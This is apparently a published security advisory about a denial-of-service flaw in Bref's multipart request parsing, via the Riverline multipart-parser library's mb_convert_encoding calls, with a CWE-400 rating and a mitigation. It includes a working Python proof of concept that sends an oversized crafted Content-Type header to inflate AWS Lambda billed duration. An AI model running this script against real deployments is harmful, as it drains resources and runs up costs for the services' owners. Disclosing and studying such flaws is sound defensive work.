bref/src/Event/Http/Psr7Bridge.php:94-125 multipart-parser/src/StreamedPart.php:383-418
When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object.
During the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the Content-Type header of each part is read using the Riverline/multipart-parser library.
The library, in the StreamedPart::parseHeaderContent function, performs slow multi-byte string operations on the header value.
Precisely, the mb_convert_encoding function is used with the first ($string) and third ($from_encoding) parameters read from the header value.
An attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration.
The attack has the following requirements and limitations:
RequestHandlerInterface handler.Notice that the vulnerability applies only to headers read from the request body as the request header has a limitation which allows a total maximum size of ~10KB.
index.php file with the following content:<?php
namespace App;
require __DIR__ . '/vendor/autoload.php';
use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;
class MyHttpHandler implements RequestHandlerInterface
{
public function handle(ServerRequestInterface $request): ResponseInterface
{
return new Response(200, [], "OK");
}
}
return new MyHttpHandler();
serverless.yml to deploy the Lambda:service: app
provider:
name: aws
region: eu-central-1
plugins:
- ./vendor/bref/bref
# Exclude files from deployment
package:
patterns:
- '!node_modules/**'
- '!tests/**'
functions:
api:
handler: index.php
runtime: php-83
events:
- httpApi: 'ANY /endpoint'
python3 poc.py a10avtqg5c.execute-api.eu-central-1.amazonaws.com):from requests import post
from sys import argv
if len(argv) != 2:
print(f"Usage: {argv[0]} <domain>")
exit()
url = f"https://{argv[1]}/endpoint"
headers = {"Content-Type": "multipart/form-data; boundary=a"}
data_normal = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n--a--\r\n"
data_malicious = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n\r\n\r\n--a--\r\n"
print("[+] Sending normal request")
post(url, headers=headers, data=data_normal)
print("[+] Sending malicious request")
post(url, headers=headers, data=data_malicious)
Content-Type header, used more than 400ms of billed duration.Perform an additional validation on the headers parsed via the StreamedPart::parseHeaderContent function to allow only legitimate headers with a reasonable length.
{
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-22T16:57:40Z",
"nvd_published_at": "2024-03-22T17:15:08Z",
"severity": "MODERATE"
}